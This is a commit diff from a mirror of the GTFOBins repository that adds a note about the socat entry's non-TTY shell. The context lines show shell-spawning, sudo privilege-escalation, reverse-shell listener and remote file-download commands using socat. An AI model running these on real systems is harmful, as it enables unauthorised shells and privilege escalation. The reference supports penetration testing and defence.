mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-10-31 08:48:54 +01:00 
			
		
		
		
	Add note about socat shell
This commit is contained in:
		| @@ -1,7 +1,8 @@ | |||||||
| --- | --- | ||||||
| functions: | functions: | ||||||
|   shell: |   shell: | ||||||
|     - code: | |     - description: The resulting shell is not a proper TTY shell and lacks the prompt. | ||||||
|  |       code: | | ||||||
|         socat stdin exec:/bin/sh |         socat stdin exec:/bin/sh | ||||||
|   reverse-shell: |   reverse-shell: | ||||||
|     - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. |     - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. | ||||||
| @@ -29,7 +30,8 @@ functions: | |||||||
|         LFILE=file_to_save |         LFILE=file_to_save | ||||||
|         socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat |         socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat | ||||||
|   sudo: |   sudo: | ||||||
|     - code: | |     - description: The resulting shell is not a proper TTY shell and lacks the prompt. | ||||||
|  |       code: | | ||||||
|         sudo socat stdin exec:/bin/sh |         sudo socat stdin exec:/bin/sh | ||||||
|   limited-suid: |   limited-suid: | ||||||
|     - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. |     - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. | ||||||
|   | |||||||
		Reference in New Issue
	
	Block a user